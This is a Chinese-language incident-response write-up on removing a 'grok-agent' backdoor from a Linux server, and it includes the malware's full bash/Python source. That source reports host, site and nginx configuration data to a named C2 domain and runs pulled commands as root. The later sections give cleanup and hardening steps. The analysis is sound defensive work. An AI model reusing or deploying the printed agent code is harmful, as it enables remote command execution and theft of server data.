目录
[【实战】记一次 Linux 服务器入侵排查:grok-agent 后门木马深度剖析与彻底清理](#【实战】记一次 Linux 服务器入侵排查:grok-agent 后门木马深度剖析与彻底清理)
[0x01 背景与现象](#0x01 背景与现象)
[0x02 木马样本逆向与行为分析](#0x02 木马样本逆向与行为分析)
[1. 核心代码分析](#1. 核心代码分析)
[2. 攻击行为拆解](#2. 攻击行为拆解)
[0x03 应急响应与彻底清理指南](#0x03 应急响应与彻底清理指南)
[步骤一:切断与 C2 控制端的通信](#步骤一:切断与 C2 控制端的通信)
[步骤二:定位并清理 Systemd 守护服务](#步骤二:定位并清理 Systemd 守护服务)
[步骤四:清理持久化项与 SSH 后门](#步骤四:清理持久化项与 SSH 后门)
[1. 检查 Cron 定时任务](#1. 检查 Cron 定时任务)
[2. 排查 SSH 授权公钥与密码修改](#2. 排查 SSH 授权公钥与密码修改)
[0x04 总结与防范建议](#0x04 总结与防范建议)
【实战】记一次 Linux 服务器入侵排查:grok-agent 后门木马深度剖析与彻底清理
0x01 背景与现象
在日常巡检服务器或监控系统异常时,发现某台 CentOS/Ubuntu 宿主机 CPU/网络存在不异常抖动。通过 ps -ef 查看系统进程,发现了一个异常的后台 Shell 进程:
Bash
root 4008099 0.0 0.0 22772 6916 ? Ss 0:26 /bin/bash /opt/grok-agent/agent_loop.sh
尝试直接使用 kill -9 4008099 杀掉该进程后,不到数秒内,该进程又使用全新的 PID 重新拉起。这表明攻击者已经在系统层配置了顽固的持久化驻留机制(Persistence)。
0x02 木马样本逆向与行为分析
查看恶意脚本 /opt/grok-agent/agent_loop.sh 的源码,发现这是一个功能极其完善且具有强隐蔽性的 C2 远控木马(Remote Admin Tool / Agent)。
1. 核心代码分析
Bash
#!/bin/bash
RA_API="http://daizuoguanggaotelegramidcaishentai.com/remote-fleet"
RA_TOKEN="cdf730506791ed878c9eb6ed8fd7b404"
NID="cbdb0389-dc0"
INTERVAL=5
collect_info() {
python3 - <<'P2'
import json, os, socket, glob, subprocess
def sh(c):
try:
return subprocess.check_output(c, shell=True, stderr=subprocess.DEVNULL, timeout=8).decode("utf-8", "replace").strip()
except Exception:
return ""
sites = [os.path.basename(p) for p in glob.glob("/www/wwwroot/*") if os.path.isdir(p)]
confs = [os.path.basename(c) for c in glob.glob("/www/server/panel/vhost/nginx/*.conf")]
ip = sh("curl -sS -m 4 ifconfig.me || curl -sS -m 4 ip.sb || hostname -I | awk '{print $1}'")
print(json.dumps({
"hostname": socket.gethostname(),
"ip": ip,
"os": sh("head -3 /etc/os-release 2>/dev/null"),
"uname": sh("uname -a"),
"sites": sites[:80],
"nginx_confs": confs[:40],
"ssh": {"port": sh("grep -E '^Port ' /etc/ssh/sshd_config 2>/dev/null | awk '{print $2}' || echo 22")},
"meta": {"who": sh("whoami")},
}, ensure_ascii=False))
P2
}
while true; do
INFO=$(collect_info)
# 1. 心跳上报:向 C2 服务器发送资产明细
curl -sS -m 15 -H "Content-Type: application/json" -H "X-RA-Token: $RA_TOKEN" \
-d "{\"node_id\":\"$NID\",\"info\":$INFO}" "$RA_API/api/heartbeat" >/dev/null 2>&1 || true
# 2. 指令拉取与执行:拉取 C2 的待执行任务
PULL=$(curl -sS -m 15 -H "X-RA-Token: $RA_TOKEN" "$RA_API/api/pull?node_id=$NID&token=$RA_TOKEN" 2>/dev/null || echo '{}')
echo "$PULL" | RA_API="$RA_API" RA_TOKEN="$RA_TOKEN" python3 -c '
import sys, json, subprocess, os, urllib.request
pull = json.loads(sys.stdin.read() or "{}")
api = os.environ.get("RA_API", "")
token = os.environ.get("RA_TOKEN", "")
for j in pull.get("jobs") or []:
jid = j.get("id")
cmd = j.get("cmd") or ""
timeout = int(j.get("timeout") or 120)
try:
# 以 root 权限执行 C2 下发的任意 Bash 命令
p = subprocess.Popen(["bash", "-lc", cmd], stdout=subprocess.PIPE, stderr=subprocess.PIPE, universal_newlines=True)
out, err = p.communicate(timeout=timeout)
code = p.returncode
except Exception as e:
out, err, code = "", str(e), 1
# 3. 结果回传:将命令执行结果回传给攻击者
body = json.dumps({"job_id": jid, "exit_code": code, "stdout": out[-200000:], "stderr": str(err)[-50000:]}, ensure_ascii=False).encode()
req = urllib.request.Request(api + "/api/result", data=body, headers={"Content-Type": "application/json", "X-RA-Token": token}, method="POST")
try:
urllib.request.urlopen(req, timeout=20).read()
except Exception:
pass
'
sleep $INTERVAL
done
2. 攻击行为拆解
| 模块 | 攻击机制 | 危害级别 |
|---|---|---|
| 敏感信息窃取 | 专门检索 /www/wwwroot/*(网站目录)和 /www/server/panel/vhost/nginx/*.conf(宝塔/Nginx 域名配置),定位核心业务资产。 |
🔴 高危 |
| C2 通信(心跳) | 每 5 秒 向黑客域名 daizuoguanggaotelegramidcaishentai.com 发送 HTTP POST 心跳包。 |
🔴 高危 |
| 远程命令执行(RCE) | 通过 /api/pull 轮询任务队列,使用 Python subprocess.Popen 直接以 root 身份执行任意 Bash 命令,并回传命令标准输出与错误日志。 |
🔴 极危 |
| 持久化驻留 | 注册名为 grok-agent.service 的 Systemd 服务,保障木马进程挂掉后由 Systemd 自动拉起。 |
🟠 中高危 |
0x03 应急响应与彻底清理指南
针对此类包含 Systemd 服务守护的后门,不能直接 kill 进程 ,必须遵循 "断连 -> 阻断守护 -> 清理文件 -> 排查后门" 的顺序。
步骤一:切断与 C2 控制端的通信
在清理系统之前,首先通过域名解析阻断攻击者下发指令:
Bash
# 将攻击者控制端域名强制指向本地环回地址
echo "127.0.0.1 daizuoguanggaotelegramidcaishentai.com" >> /etc/hosts
步骤二:定位并清理 Systemd 守护服务
排查服务配置文件,彻底关停并卸载该服务:
Bash
# 1. 查找包含 grok-agent 的服务配置文件
grep -rn "grok-agent" /etc/systemd/system/ /lib/systemd/system/ 2>/dev/null
# 2. 停止服务并取消开机自启
systemctl stop grok-agent.service
systemctl disable grok-agent.service
# 3. 删除服务配置文件并重载配置
rm -f /etc/systemd/system/grok-agent.service
systemctl daemon-reload
systemctl reset-failed
步骤三:杀掉残留进程并删除恶意文件
Bash
# 1. 强行终止木马进程
pkill -9 -f agent_loop.sh
pkill -9 -f grok-agent
# 2. 彻底删除恶意脚本目录
rm -rf /opt/grok-agent
步骤四:清理持久化项与 SSH 后门
黑客获取 root 权限后,极大概率会留下其他后门。
1. 检查 Cron 定时任务
Bash
crontab -l
cat /etc/crontab
ls -la /etc/cron.*/
如发现包含 /opt/grok-agent 或可疑 URL 的条目,立即删除。
2. 排查 SSH 授权公钥与密码修改
Bash
# 检查 root 的 SSH 授权密钥
cat /root/.ssh/authorized_keys
# 删除不属于团队的未知公钥后,立即重置 root 密码
passwd root
0x04 总结与防范建议
-
入侵排查思路 :遇到"杀不掉"的 Linux 进程,优先排查 Systemd 服务 (
/etc/systemd/system/)、Cron 计划任务 以及/etc/rc.local,切断守护机制是解决问题的关键。 -
Web 面板加固 :样本针对宝塔面板目录(
/www/server/panel)进行了专门的配置窃取,通常是由于面板旧版本 RCE 漏洞或弱口令切入导致。建议定期升级面板版本、关闭默认 8888 端口,并开启二步验证(2FA)。 -
网络层管控:生产环境建议通过安全组/防火墙仅开放必要的服务端口,对出站流量(Egress)实施严格的安全策略,阻止未知域名/IP 的 HTTP 请求。